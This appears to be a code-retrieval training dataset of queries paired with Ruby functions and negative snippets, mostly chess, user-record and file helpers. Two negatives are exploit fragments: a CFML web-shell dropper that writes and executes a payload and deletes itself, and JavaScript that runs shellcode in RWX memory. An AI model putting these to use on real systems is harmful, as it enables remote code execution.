"def find_my_king(player, board)\r\n board.each_with_index do |col, i| \r\n col.each_index do |j|\r\n return [i, j] if board[i][j].class == King && board[i][j].color == player\r\n end\r\n end \r\n end",
"def check_check\n white_pieces, black_pieces = board_pieces_by_color\n # If black king is in check\n white_pieces.each do |piece|\n return piece if legal_moves(piece).include? @king_locs[:black]\n end\n # If white king is in check\n black_pieces.each do |piece|\n return piece if legal_moves(piece).include? @king_locs[:white]\n end\n\n nil\n end",
"def get_king_field(board, color)\n for x in 1..8\n for y in 1..8\n position = [x,y]\n field = board[position]\n if field.piece != nil\n if field.piece.color == color && field.piece.name == \"King\"\n return position\n end\n end\n end\n end \n end",
"def pieces_with_moves(white_turn)\n pieces = (white_turn ? white_pieces : black_pieces)\n pieces.select { |piece| piece.valid_locations != [] }.map { |piece| [piece.row, piece.col] }\n end",
"def get_king_location(color)\n board.grid.each_with_index do |row, y|\n row.each_with_index do |cell, x|\n if cell.class <= Piece\n return board.coordinates_to_chess_notation([y,x]) if cell.type == :king && cell.color == color\n end\n end\n end\n end",
"def zone(square)\n (0 .. (@max_row / 2)).include?(square[0]) ? :white : :black\n end",
"def get_pieces\n white = []\n black = []\n\n (0..7).each do |x|\n (0..7).each do |y|\n piece = @squares[x][y]\n next if piece == nil\n if piece.side == :white\n white << get_abbreviation(piece)\n else\n black << get_abbreviation(piece)\n end\n end\n end\n [white, black]\n end",
"def attacking_piece(is_white)\n pieces.where(is_white: !is_white).where.not(x_position: nil, y_position: nil).find_each do |piece|\n return piece if piece.valid_move?(friendly_king(is_white).x_position, friendly_king(is_white).y_position)\n end\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
This function finds the children of the param'ed User | def users_children
render json: Child.where(user_id: params[:user_id])
end | [
"def children_visible_to(user)\n children.select {|a|a.visible_to?(user) } \n end",
"def get_user_children(bearer) \n return get_info(bearer, \"v2/my/students\")\n end",
"def users_with_subsidiaries\n result = @users\n \n @children.each do | child |\n result += child.users_with_subsidiaries\n end\n \n result\n end",
"def it_and_children(id, current_user)\n it_children = [ ] \n it_children << (id)\n activities = get_activities(current_user)\n act = activities.find(id)\n act.children.each{ |child| it_children << it_and_children(child.id) }\n act.rep_parent_id.nil? ? nil : it_children << act.rep_parent_id\n return it_children\n end",
"def children\n children = Child.where(family_id: family_id)\n\n # add children of head of household's spouse\n if family_id == id\n # this user is head of household, use current spouse_id\n children += Child.where(family_id: spouse_id) unless spouse_id.blank?\n else\n head_of_household = User.find_by_id(family_id)\n children += Child.where(family_id: head_of_household.spouse_id) unless head_of_household.spouse_id.blank?\n end\n\n return children\n end",
"def children\n self.class.cis_from_query(\"&parent=#{id}\")\n end",
"def user_routeditems(user_id, query_params = nil)\n get_user_children(user_id, __method__, query_params)\n end",
"def all_users\n User.where(jurisdiction_id: subtree_ids)\n end",
"def descendants(depth_options = {})\n super #.includes(:user)\n end",
"def get_children\n AccountHead.where(:parent_id => self)\n end",
"def find_parent_tasks(userid)\n user = User.find_by_id(userid)\n current_entries = user.entries.find(:all, :conditions => [\"entries.end_dt_tm >= ? \", TzTime.now.utc])\n\t\n parent_entries = []\n current_entries.collect {|ce| parent_entries << ce }\n self.entries.each do |e|\n if !isItemInList(current_entries, e)\n parent_entries << e\n end\t\t\n end\n \n return parent_entries\n end",
"def children(*args)\n self.class.send(:with_scope, :find=>{:conditions=>['parent_node_id=?', self.child_node_id]}) do\n self.class.find(:all, *args)\n end\n end",
"def direct_children_by_id(*args)\n scope = args.last.is_a?(Hash) ? args.pop : {}\n ids = args.flatten.compact.uniq\n self.class.find_in_nested_set(:all, { \n :conditions => [\"#{scope_condition} AND #{prefixed_parent_col_name} = #{self.id} AND #{self.class.table_name}.#{self.class.primary_key} IN (?)\", ids]\n }, scope) \n end",
"def published_children(user, options = { include_blank_titles: false })\n pages = []\n if has_children?\n children.each do |child|\n if child.is_published? || user&.is_admin?\n pages << child unless child[:menutitle].blank? && !options[:include_blank_titles]\n end\n end\n end\n pages\n end",
"def descendants_ids(ignore_permissions = false)\n \t descendants_ids = [] \n \t self.children.each { |child|\n \t descendants_ids += [child.id] if ignore_permissions or child.permitted?\n \t descendants_ids += child.descendants_ids\n \t } unless self.children.empty?\n \t descendants_ids\n \tend",
"def index\n @children = current_user.children.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @children }\n end\n end",
"def get_childs(recursive, ret_obj)\n\n return self.class.get_childs(self.id, recursive, ret_obj)\n end",
"def parents user_token\n request :get, resource_uri(\"parents\", @format), {:user_token => user_token}\n end",
"def children\n Title.where(\"parent_id = ?\", self.id).all\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
This function retrieves all of the checklist entries for the param'ed child It renders an array of the entries | def child_checklist_entries
@entries = @child.checklist_entries
@package = []
@entries.each do |entry|
entry[:complete] = false if entry[:last_accessed] != Date.current
@package.push({
checklist_entry_id: entry.id,
medicine_id: entry.medicine_id,
medicine: entry.medicine.name,
description: entry.medicine.description,
time: entry.time.strftime("%I:%M"),
complete: entry.complete
})
end
render json: @package
end | [
"def render_entry_children(context, branch, parent=nil, holder=nil)\n\n id = parent.id unless parent.nil?\n\n children = fetch_entries(context).where(parent_id: id) # find(entry[:children])\n\n # This probably could be improved\n children = children.to_a.sort_by! { |x| x.position_in_parent }\n\n # children = page.children_with_minimal_attributes(@options[:add_attributes]).reject { |c| !include_page?(c) }\n children.collect do |c|\n css = []\n css << 'first' if children.first == c\n css << 'last' if children.last == c\n\n render_entry_link(context, branch, c, css.join(' '), holder)\n end\n end",
"def checklist_items\n return @checklist_items\n end",
"def reminders\n @checklist_entries = []\n @user.child.each do |child|\n child.checklist_entries.each do |entry|\n next unless entry.time.strftime(\"%I:%M:%S\") < Time.now.strftime(\"%I:%M:%S\")\n\n @checklist_entries.push({\n child_name: entry.child.name,\n medicine: entry.medicine.name,\n time: entry.time\n })\n end\n end\n render json: @checklist_entries\n end",
"def get_entries\n @page.all(input_elements[:entries])\n end",
"def checklist\n return @checklist\n end",
"def checkbox_list(items)\n cl = \"<ul>\"\n if(!items.empty?)\n item_class = items[0].class.to_s\n item_class_sub = item_class[0..0].to_s\n for item in items\n cl += \"<li>#{check_box_tag(item_class +\"_ids[]\", item.id, @items_to_select.include?(item), :id=>\"#{item_class_sub + \"\" + item.id.to_s}\")}\"\n\n cl += \"<label for=\\\"#{item_class_sub + \"\" + item.id.to_s}\\\">#{item.name}</label></li>\"\n\n end\n cl += \"</ul>\"\n end\n return cl\n end",
"def display_list\n\n @review_type = params[:review][:review_type]\n\n @checklist = Checklist.find(params[:checklist][:id])\n @sections = @checklist.sections\n\n @display_boxes = []\n @sections.each do |section|\n \n subsections = section.subsections\n \n if displayable(@review_type,\n section.full_review,\n section.date_code_check,\n section.dot_rev_check)\n\n for subsection in subsections\n \n display_box = []\n if displayable(@review_type,\n subsection.full_review,\n subsection.date_code_check,\n subsection.dot_rev_check)\n display_box[0] = section.dup\n display_box[1] = subsection.dup\n \n checks = subsection.checks\n peer_checks = []\n for check in checks\n if displayable(@review_type,\n check.full_review,\n check.date_code_check,\n check.dot_rev_check)\n peer_checks.push(check.dup)\n end\n end\n\n formatted_checks = []\n # Arrange the checks for display.\n rows = (peer_checks.size / 2) + peer_checks.size.modulo(2)\n 0.upto((rows-1)) { |i|\n row = []\n row[0] = peer_checks[i]\n row[1] = peer_checks[i+rows]\n formatted_checks.push(row)\n }\n\n display_box[2] = formatted_checks\n @display_boxes.push(display_box)\n\n end # if subsection should be displayed.\n end # for subsection in subsections\n end # if section should be displayed\n end # for section in sections\n end",
"def get_all_child_lists\n child_check\n \n if @all_child_terms.nil? and @all_child_names.nil?\n @all_child_terms = []\n @all_child_names = []\n \n self.children.each do |child|\n @all_child_terms.push( child.term )\n @all_child_terms.push( child.all_child_terms )\n @all_child_names.push( child.term_name )\n @all_child_names.push( child.all_child_names )\n end\n \n @all_child_terms = @all_child_terms.flatten.uniq\n @all_child_names = @all_child_names.flatten.uniq\n end\n end",
"def index\n @generic_checklists = GenericChecklist.all\n end",
"def index\n @check_lists = CheckList.all\n end",
"def checklist\n self.section.checklist if (self.section && self.section.checklist)\n end",
"def index\n @check_entries = CheckEntry.where(:check_active => 1)\n @check_entris = Array.new\n respond_to do |format|\n format.html # index.html.erb\n format.json {\n @check_entries = @check_entries.select{|check_entry|\n check_entri = Hash.new\n check_entry.attributes.each do |key, value|\n check_entri[key] = value\n end\n # check_data = check_entry.check_belongs_to\n # check_entry[:check_identifier] = check_entry.check_belongs_to.nil? ? check_entry.check_code : CommonActions.linkable(check_data[:object].redirect_path, check_entry.check_code)\n check_entri[:links] = CommonActions.object_crud_paths(nil, edit_check_entry_path(check_entry), check_entry_path(check_entry))\n payables = check_entry.get_payables\n check_entri[:payables] = payables[\"payableIds\"]\n @check_entris.push(check_entri)\n }\n render json: {:aaData => @check_entris}\n }\n end\n end",
"def list\n @checklists = Checklist.find(:all, :order => 'released_on DESC')\n end",
"def index\n @checkup_entries = CheckupEntry.all\n end",
"def children\n collected_children = []\n self.fieldset_children.sort_by(&:order_num).each do |fs_child|\n child = fs_child.child_type.constantize.find_by_id fs_child.child_id\n if child.respond_to? :enabled? and child.enabled?\n collected_children.push child\n elsif !child.respond_to? :enabled?\n collected_children.push child\n end\n end\n return collected_children\n end",
"def render_children\n children = ''\n\n list_item.children.each do |child|\n children += self.class.render(child, opts)\n end\n\n children\n end",
"def find_all_checklists\n @checklists = Checklist.all\n .paginate(page: params[:page])\n end",
"def parse_list\n super\n current_list = @tree.children.select { |element| LIST_TYPES.include?(element.type) }.last\n\n is_tasklist = false\n box_unchecked = '<input type=\"checkbox\" class=\"task-list-item-checkbox\" disabled=\"disabled\" />'\n box_checked = '<input type=\"checkbox\" class=\"task-list-item-checkbox\" ' \\\n 'disabled=\"disabled\" checked=\"checked\" />'\n\n current_list.children.each do |li|\n list_items = li.children\n next unless !list_items.empty? && list_items[0].type == :p\n\n # li -> p -> raw_text\n descendant = list_items[0].children[0].value\n checked = descendant.gsub!(/\\A\\s*\\[ \\]\\s+/, box_unchecked)\n unchecked = descendant.gsub!(/\\A\\s*\\[x\\]\\s+/i, box_checked)\n is_tasklist ||= checked || unchecked\n\n li.attr['class'] = 'task-list-item' if is_tasklist\n end\n\n current_list.attr['class'] = 'task-list' if is_tasklist\n\n true\n end",
"def fetch_children\n @children = []\n for item in self.listex\n if item[\"type\"] == \"folder\" and item[\"id\"]!=@id #sharefile API includes self in list\n @children << Folder.new(item[\"id\"], @authid, @subdomain, false, item)\n elsif item[\"type\"] == \"file\"\n @children << File.new(item[\"id\"], @authid, @subdomain, item)\n end\n end\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Create a temporary executable with the given source, and return the path. Any '|'delimited margin will be stripped first. The generated file will be cleaned up in the after hook. | def make_executable(source)
source = source.gsub(/^ *\|/, '')
name = generate_file
open(name, 'w'){|f| f.print(source)}
FileUtils.chmod(0755, name)
name
end | [
"def create_source(src)\n File.open(TEMP_SOURCE_FILE, \"w+\") do |f|\n f.write(src)\n end\n end",
"def generate_temp_path\n path = Tempfile.new($$).path\n rm_f path\n path\n end",
"def make_shell_command(source)\n make_executable(\"#!/bin/sh\\n\" + source)\n end",
"def create_source_file\n File.open(source_filename, 'w+') do |source|\n source.puts\n end\n end",
"def gen_tmp_filename\n Dir::Tmpname.make_tmpname ['/tmp/ruby-sox', \".#{MEDIATE_TYPE}\"], nil\n end",
"def create_temp_file\n copy_to_temp_file full_filename\n end",
"def create_temp_file\n copy_to_temp_file full_filename\n end",
"def safeCreateSourceFile( filename, header_file )\n return if( File.exist?( filename ) )\n puts \"RMake> Creating source file \" + filename\n rmake_loc = File.expand_path( File.dirname( __FILE__ ) )\n template_loc = \"#{rmake_loc}/templates\"\n header = \"title\"\n body = case filename\n when \"main.cpp\" then \"main\"\n when \"test.main.cpp\" then \"test.main\"\n else \"source\"\n end\n\n header_lines = IO.readlines( \"#{template_loc}/#{header}.trb\" )\n body_lines = IO.readlines( \"#{template_loc}/#{body}.trb\" )\n headerFile = filename.sub( /\\.(cpp|c)$/, \".h\" )\n\n File.open( filename, \"w+\" ) do |f|\n expanded_line = ERB.new( header_lines.join , nil, \"%<>\" )\n f.puts expanded_line.result( binding )\n expanded_line = ERB.new( body_lines.join , nil, \"%<>\" )\n f.puts expanded_line.result( binding )\n end\nend",
"def create_temp_file() end",
"def local_copy(p_source_file, tempdir = Dir.mktmpdir, &block)\n tfbase = p_source_file\n tfbase = p_source_file.to_s =~ /\\.bz2$/ ? File.basename(p_source_file).to_s.chomp(\".bz2\") : File.basename(p_source_file).to_s\n tfbase.escape_filename\n tmpfile = File.join(tempdir, tfbase)\n puts \"tmpfile=\"+tmpfile\n # puts File.exist?(tmpfile)\n File.delete(tmpfile) if File.exist?(tmpfile)\n if p_source_file.to_s =~ /\\.bz2$/\n `bunzip2 -k -c '#{p_source_file.to_s}' >> '#{tmpfile}'`\n else\n FileUtils.cp(p_source_file.to_s, tmpfile)\n end\n\n lc = Pathname.new(tmpfile)\n \n if block\n begin\n yield lc\n ensure\n lc.delete\n end\n\n else\n return lc\n end\n end",
"def makeExecutable(inFile)\n outFile = Helpers.ppath('bin', inFile.asType(''))\n\n sh \"echo '#!/usr/bin/env node\n' > #{outFile}\"\n sh \"cat #{inFile} >> #{outFile}\"\n sh \"chmod +x #{outFile}\"\nend",
"def gen_file_dropper\r\n rand_var = rand_text_alpha(8+rand(8))\r\n rand_file = rand_text_alpha(8+rand(8))\r\n\r\n if datastore['TARGET'] == 0\r\n rand_file += \".exe\"\r\n end\r\n\r\n encoded_pl = Rex::Text.encode_base64(generate_payload_exe)\r\n\r\n print_status \"Building CFML shell...\"\r\n #embed payload\r\n shell = \"\"\r\n shell += \" <cfset #{rand_var} = ToBinary( \\\"#{encoded_pl}\\\" ) />\"\r\n shell += \" <cffile action=\\\"write\\\" output=\\\"##{rand_var}#\\\"\"\r\n shell += \" file= \\\"#GetDirectoryFromPath(GetCurrentTemplatePath())##{rand_file}\\\"\"\r\n #if linux set correct permissions\r\n if datastore['TARGET'] == 1\r\n shell += \" mode = \\\"700\\\"\"\r\n end\r\n shell += \"/>\"\r\n #clean up our evil .cfm\r\n shell += \" <cffile action=\\\"delete\\\"\"\r\n shell += \" file= \\\"#GetDirectoryFromPath(GetCurrentTemplatePath())##listlast(cgi.script_name,\\\"/\\\")#\\\"/>\"\r\n #execute our payload!\r\n shell += \" <cfexecute\"\r\n shell += \" name = \\\"#GetDirectoryFromPath(GetCurrentTemplatePath())##{rand_file}\\\"\"\r\n shell += \" arguments = \\\"\\\"\"\r\n shell += \" timeout = \\\"60\\\"/>\"\r\n\r\n return shell\r\n end",
"def outputFN( input )\n # First: if we are in a temp folder put it where the script is... \n # otherwise we drop it in the temp folder. This only happens with OCRA.\n tmp = /\\W(temp|tmp)\\W/i\n inreg = /\\Win(put)?$/i\n\n if File.dirname( input ) =~ inreg\n File.expand_path( File.join( File.dirname( input ), \"..\", \"out\" , File.basename( input, \".py\" ) ) )\n elsif tmp =~ File.dirname( __FILE__ )\n if tmp =~ File.dirname( input )\n \"\" # they can choose a directory manually\n else\n File.join File.dirname( input ), File.basename( input, \".py\" )\n end\n else\n File.join File.dirname( __FILE__ ), \"out\", File.basename( input, \".py\" ) \n end\nend",
"def write_source_file\n paths = []\n\n # Remove C:/\n install_dir = project.install_dir.split('/')[1..-1].join('/')\n\n # Grab all parent paths\n Pathname.new(install_dir).ascend do |path|\n paths << path.to_s\n end\n\n # Create the hierarchy\n hierarchy = paths.reverse.inject({}) do |hash, path|\n hash[File.basename(path)] = path.gsub(/[^[:alnum:]]/, '').upcase + 'LOCATION'\n hash\n end\n\n # The last item in the path MUST be named PROJECTLOCATION or else space\n # robots will cause permanent damage to you and your family.\n hierarchy[hierarchy.keys.last] = 'PROJECTLOCATION'\n\n # If the path hierarchy is > 1, the customizable installation directory\n # should default to the second-to-last item in the hierarchy. If the\n # hierarchy is smaller than that, then just use the system drive.\n wix_install_dir = if hierarchy.size > 1\n hierarchy.to_a[-2][1]\n else\n 'WINDOWSVOLUME'\n end\n\n render_template(resource_path('source.wxs.erb'),\n destination: \"#{staging_dir}/source.wxs\",\n variables: {\n name: project.package_name,\n friendly_name: project.friendly_name,\n maintainer: project.maintainer,\n hierarchy: hierarchy,\n fastmsi: fast_msi,\n wix_install_dir: wix_install_dir,\n }\n )\n end",
"def temp_output_file(file_type)\n \"#{File.dirname(__FILE__)}/../../tmp/spec.#{file_type}.tmp\" \n end",
"def generate(opts = {})\n opts[:temp] = opts[:temp] || '/tmp/'\n opts[:temp].gsub!(/\\\\/, '/')\n opts[:temp] = opts[:temp].shellescape\n opts[:temp] << '/' if opts[:temp][-1,1] != '/'\n super\n end",
"def temp_hocr_out_path\n Pathname.new(tempdir).join(BASE_OUT_FILENAME).sub_ext(\".hocr\").to_s\n end",
"def tmp_output_path(filename)\n path = File.expand_path(File.basename(filename), TMP_OUTPUT_DIR)\n\n if block_given?\n FileUtils.mkdir_p(TMP_OUTPUT_DIR)\n yield path\n FileUtils.rm_f(path)\n else\n path\n end\n end",
"def copy_to_temp_dir()\n build_temp_file_pipe { |in_f, out_f| FileUtils.cp(in_f, out_f) }\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Prefix the given source string with "!/bin/sh" and make a temporary executable out of it. | def make_shell_command(source)
make_executable("#!/bin/sh\n" + source)
end | [
"def make_executable(source)\n source = source.gsub(/^ *\\|/, '')\n name = generate_file\n open(name, 'w'){|f| f.print(source)}\n FileUtils.chmod(0755, name)\n name\n end",
"def create_source(src)\n File.open(TEMP_SOURCE_FILE, \"w+\") do |f|\n f.write(src)\n end\n end",
"def make_ruby_command(source)\n ruby = File.join(Config::CONFIG['bindir'], Config::CONFIG['RUBY_INSTALL_NAME'])\n make_executable(\"#!#{ruby}\\n\" + source)\n end",
"def exec_script_on(script_path_str,arguments_str,current_path_str)\n fname_str = File.basename(script_path_str)\n rempte_path_str = \"/tmp/\" + fname_str\n push_a_file(script_path_str,rempte_path_str)\n exec_on!(\"sh #{rempte_path_str} \" + arguments_str,current_path_str)\n end",
"def makeExecutable(inFile)\n outFile = Helpers.ppath('bin', inFile.asType(''))\n\n sh \"echo '#!/usr/bin/env node\n' > #{outFile}\"\n sh \"cat #{inFile} >> #{outFile}\"\n sh \"chmod +x #{outFile}\"\nend",
"def temp_script(script)\n raise Errno::ENOENT, \"Script '#{script}' not found\" unless File.file?(script)\n temp_dir = OctocatalogDiff::Util::Util.temp_dir('ocd-scriptrunner')\n temp_file = File.join(temp_dir, File.basename(script))\n File.open(temp_file, 'w') { |f| f.write(File.read(script)) }\n FileUtils.chmod 0o755, temp_file\n temp_file\n end",
"def shim_script target\n <<-EOS.undent\n #!/bin/bash\n exec \"#{prefix}/Current/bin/#{target}\" \"$@\"\n EOS\n end",
"def clean_script\n context.fetch(:clean_script) do\n clean_file = context.fetch(:clean_file, \"clean.sh\").to_s\n\n \"[[ -e \\\"#{clean_file}\\\" ]] && source \\\"#{clean_file}\\\"\"\n end.to_s\n end",
"def autoscript\n res = []\n self.shell_scripts.executable.each do |s|\n res << s.contents\n end\n self.shell_scripts.replaceable.each do |s|\n res << \"cat <<EOF > #{s.filename}\\n#{s.contents.gsub(/\\r/, '')}\\nEOF\"\n res << \"chown #{s.owner} #{s.filename}\" unless s.owner.to_s.empty?\n res << \"chmod #{s.mode} #{s.filename}\" unless s.mode.to_s.empty?\n end\n \"#!/bin/bash\\n#{res.join(\"\\n\")}\"\n end",
"def make_install_script\n File.open(\"shoes-install.sh\", 'w') do |f|\n f << \"#!/bin/bash\\n\"\n f << \"#pwd\\n\"\n f << \"ddir=$HOME/.shoes/federales\\n\"\n f << \"#echo $ddir\\n\"\n f << \"mkdir -p $ddir\\n\"\n f << \"cp -r * $ddir/\\n\"\n f << \"sed -e \\\"s@{hdir}@$HOME@\\\" <Shoes.desktop.tmpl >Shoes.desktop\\n\"\n f << \"echo \\\"Shoes has been copied to $ddir. Need root password\\\"\\n\"\n f << \"echo 'to copy Shoes.desktop to /usr/share/applications'\\n\"\n f << \"su root -c 'cp Shoes.desktop /usr/share/applications'\\n\"\n end\n chmod \"+x\", \"shoes-install.sh\"\n end",
"def make_install_script\n File.open(\"shoes-install.sh\", 'w') do |f|\n f << \"#!/bin/bash\\n\"\n f << \"#pwd\\n\"\n f << \"ddir=$HOME/.shoes/#{APP['NAME']}\\n\"\n f << \"#echo $ddir\\n\"\n f << \"mkdir -p $ddir\\n\"\n f << \"cp -r * $ddir/\\n\"\n f << \"sed -e \\\"s@{hdir}@$HOME@\\\" <Shoes.desktop.tmpl >Shoes.desktop\\n\"\n f << \"cp Shoes.desktop $ddir/Shoes.desktop\\n\"\n f << \"xdg-desktop-menu install --novendor Shoes.desktop\\n\"\n f << \"sed -e \\\"s@{hdir}@$HOME@\\\" <Shoes.remove.tmpl >Shoes.remove.desktop\\n\"\n f << \"cp Shoes.remove.desktop $ddir/Shoes.remove.desktop\\n\"\n f << \"xdg-desktop-menu install --novendor Shoes.remove.desktop\\n\"\n f << \"echo \\\"Shoes has been copied to $ddir. and menus created\\\"\\n\"\n f << \"echo \\\"If you don't see Shoes in the menu, logout and login\\\"\\n\"\n end\n chmod \"+x\", \"shoes-install.sh\"\n end",
"def compile_script_string\n @sources.string\n end",
"def make_proc_with_source(string, bind = binding)\n if proc?(prc = (res = Snd.catch(:all) do eval(string, bind) end).first)\n prc.source = string\n prc\n else\n Snd.raise(:runtime_error, res, prc, string)\n end\nend",
"def set_source_command(sources)\n if sources && !sources.empty?\n \"!s#{sources.join(',')}\"\n else\n '!s-*'\n end\n end",
"def resolve_execl(processor)\n return unless str_bin_sh?(processor.argument(0).to_s)\n\n args = []\n arg = processor.argument(1).to_s\n if str_sh?(arg)\n arg = processor.argument(2).to_s\n args << '\"sh\"'\n end\n return nil if global_var?(arg) # we don't want base-related constraints\n\n args << arg\n cons = processor.constraints + [\"#{arg} == NULL\"]\n { constraints: cons, effect: %(execl(\"/bin/sh\", #{args.join(', ')})) }\n end",
"def shebang_script\n # Fail fast if blob isn't viewable?\n return unless viewable?\n\n if lines.any? && (match = lines[0].match(/(.+)\\n?/)) && (bang = match[0]) =~ /^#!/\n bang.sub!(/^#! /, '#!')\n tokens = bang.split(' ')\n pieces = tokens.first.split('/')\n if pieces.size > 1\n script = pieces.last\n else\n script = pieces.first.sub('#!', '')\n end\n\n script = script == 'env' ? tokens[1] : script\n\n # python2.4 => python\n if script =~ /((?:\\d+\\.?)+)/\n script.sub! $1, ''\n end\n\n # Check for multiline shebang hacks that exec themselves\n #\n # #!/bin/sh\n # exec foo \"$0\" \"$@\"\n #\n if script == 'sh' &&\n lines[0...5].any? { |l| l.match(/exec (\\w+).+\\$0.+\\$@/) }\n script = $1\n end\n\n script\n end\n end",
"def string_to_src(str)\n headers = C_HEADERS.map { |s| \"#include <#{s}>\\n\" }.join\n \"#{headers} int main(){ #{str}; }\"\nend",
"def create_starting_script(sea_dir)\n c_path = Dir.pwd\n c_path.slice!(/test$/)\n run_analysis_path = c_path + \"/helpers/run_analysis.sh\" \n FileUtils.cd(sea_dir)\n `#{run_analysis_path} normal > ./go.sh`\n FileUtils.chmod(0755, \"./go.sh\")\n `sh ./go.sh`\nend",
"def patch_wrapper_script(prog)\n\t\twrapper_script_header = <<-WRAPPER_SCRIPT_HEADER\n#!/bin/bash\n\nexport LANG=en_US.UTF-8\nexport LANGUAGE=en_US.UTF-8\nexport LC_ALL=en_US.UTF-8\n\nCOMMONSDIR=\"#{HOMEBREW_PREFIX.join('opt', 'hets-commons')}\"\nPROGDIR=\"#{prefix}\"\nPROG=\"#{prog}\"\n\n[[ -z ${HETS_JNI_LIBS} ]] && \\\\\n\t\t HETS_JNI_LIBS=\"#{HOMEBREW_PREFIX.join('opt', 'factplusplus')}\"\nWRAPPER_SCRIPT_HEADER\n\n\t\t# Replace the header until (including) the line starting with PROG=\n\t\tinreplace(bin.join(prog), /\\A.*PROG=[^\\n]*$/m, wrapper_script_header)\n inreplace(bin.join(prog), 'BASEDIR', 'COMMONSDIR')\n inreplace(bin.join(prog), /PELLET_PATH=.*$/, \"PELLET_PATH=#{HOMEBREW_PREFIX.join('opt', 'pellet', 'bin')}\")\n inreplace(bin.join(prog), /^\\s*exec\\s+([\"']).*COMMONSDIR[^\\/]*/, 'exec \\1${PROGDIR}')\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Prefix the given source string with a shebang line that launches the current ruby interpreter, and make a temporary executable out of it. | def make_ruby_command(source)
ruby = File.join(Config::CONFIG['bindir'], Config::CONFIG['RUBY_INSTALL_NAME'])
make_executable("#!#{ruby}\n" + source)
end | [
"def shebang_line=(_arg0); end",
"def shebang_line; end",
"def shebang_script\n # Fail fast if blob isn't viewable?\n return unless viewable?\n\n if lines.any? && (match = lines[0].match(/(.+)\\n?/)) && (bang = match[0]) =~ /^#!/\n bang.sub!(/^#! /, '#!')\n tokens = bang.split(' ')\n pieces = tokens.first.split('/')\n if pieces.size > 1\n script = pieces.last\n else\n script = pieces.first.sub('#!', '')\n end\n\n script = script == 'env' ? tokens[1] : script\n\n # python2.4 => python\n if script =~ /((?:\\d+\\.?)+)/\n script.sub! $1, ''\n end\n\n # Check for multiline shebang hacks that exec themselves\n #\n # #!/bin/sh\n # exec foo \"$0\" \"$@\"\n #\n if script == 'sh' &&\n lines[0...5].any? { |l| l.match(/exec (\\w+).+\\$0.+\\$@/) }\n script = $1\n end\n\n script\n end\n end",
"def make_executable(source)\n source = source.gsub(/^ *\\|/, '')\n name = generate_file\n open(name, 'w'){|f| f.print(source)}\n FileUtils.chmod(0755, name)\n name\n end",
"def make_shell_command(source)\n make_executable(\"#!/bin/sh\\n\" + source)\n end",
"def makeExecutable(inFile)\n outFile = Helpers.ppath('bin', inFile.asType(''))\n\n sh \"echo '#!/usr/bin/env node\n' > #{outFile}\"\n sh \"cat #{inFile} >> #{outFile}\"\n sh \"chmod +x #{outFile}\"\nend",
"def run\n excode, offset = exact\n\n code = \"\\n\"\n# code << special_requirements\n code << \"require '#{file}'\\n\"\n code << \"eval(<<'_____#{handle}_____', TOPLEVEL_BINDING, '#{file}', #{offset})\\n\"\n code << excode\n code << \"\\n_____#{handle}_____\\n\\n\"\n\n cmd = ['ruby', *argv].join(' ')\n\n result = IO.popen(cmd,\"w+\") do |ruby|\n ruby.puts code\n ruby.close_write\n puts ruby.read\n end\n end",
"def shim_script target\n <<-EOS.undent\n #!/bin/bash\n exec \"#{prefix}/Current/bin/#{target}\" \"$@\"\n EOS\n end",
"def exec_shellcode_source\n %Q|\n var execShellcode = function(shellcode, bytes) {\n Components.utils.import(\"resource://gre/modules/ctypes.jsm\");\n\n var execPosix = function() {\n var RWX = 7, ANON_PRIVATE = 4098;\n Components.utils.import(\"resource://gre/modules/ctypes.jsm\");\n var LIBS = [\n \"/usr/lib/libSystem.B.dylib\",\n \"libc.so.6\",\n \"libc.so\"\n ];\n\n var i, lib;\n for (i in LIBS) {\n try {\n lib = ctypes.open(LIBS[i]);\n break;\n } catch (e) {}\n }\n if (!lib) throw new Error(\"Could not find lib in [\"+LIBS+\"]\");\n\n var mmap = lib.declare('mmap',\n ctypes.default_abi, /* calling convention */\n ctypes.voidptr_t, /* return type */\n ctypes.voidptr_t, /* address (NULL here) */\n ctypes.size_t, /* num bytes */\n ctypes.int, /* PROT_READ OR PROT_WRITE OR PROT_EXEC */\n ctypes.int, /* MAP_ANONYMOUS OR MAP_PRIVATE */\n ctypes.int, /* fd (0) */\n ctypes.int /* offset (0) */\n );\n var memcpy = lib.declare('memcpy',\n ctypes.default_abi, /* calling convention */\n ctypes.voidptr_t, /* return type */\n ctypes.voidptr_t, /* dest */\n ctypes.voidptr_t, /* src */\n ctypes.size_t /* size to copy */\n );\n var fork = lib.declare('fork',\n ctypes.default_abi, /* calling convention */\n ctypes.int /* return type */\n );\n var buff = mmap(null, shellcode.length, RWX, ANON_PRIVATE, 0, 0);\n var cstr = ctypes.jschar.array()(shellcode);\n memcpy(buff, cstr, bytes);\n /* there is probably a better way to do this */\n var m = buff.toString().match(/\"0x([0-9a-fA-F]*)\"/);\n if (!m) throw new Error(\"Could not find address of buffer.\");\n if (fork() == 0) {\n ctypes.FunctionType(ctypes.default_abi, ctypes.void_t).ptr(parseInt(m[1], 16))();\n }\n };\n\n var execWindows = function() {\n var RWX = 0x40, ANON_PRIVATE = 0x1000;\n var Kernel32 = ctypes.open(\"Kernel32.dll\");\n var VirtualAlloc = Kernel32.declare('VirtualAlloc',\n ctypes.winapi_abi, /* calling convention */\n ctypes.voidptr_t, /* return type */\n ctypes.voidptr_t, /* start address (NULL here) */\n ctypes.size_t, /* num bytes */\n ctypes.unsigned_long, /* alloc type */\n ctypes.unsigned_long /* protection flags */\n );\n var RtlMoveMemory = Kernel32.declare('RtlMoveMemory',\n ctypes.winapi_abi, /* calling convention */\n ctypes.voidptr_t, /* return type */\n ctypes.voidptr_t, /* dest */\n ctypes.voidptr_t, /* src */\n ctypes.size_t /* size to copy */\n );\n var CreateThread = Kernel32.declare('CreateThread',\n ctypes.winapi_abi, /* calling convention */\n ctypes.voidptr_t, /* return type */\n ctypes.voidptr_t, /* lpThreadAttributes */\n ctypes.voidptr_t, /* dwStackSize */\n ctypes.voidptr_t, /* lpStartAddress copy */\n ctypes.voidptr_t, /* lpParameter */\n ctypes.voidptr_t, /* dwCreationFlags */\n 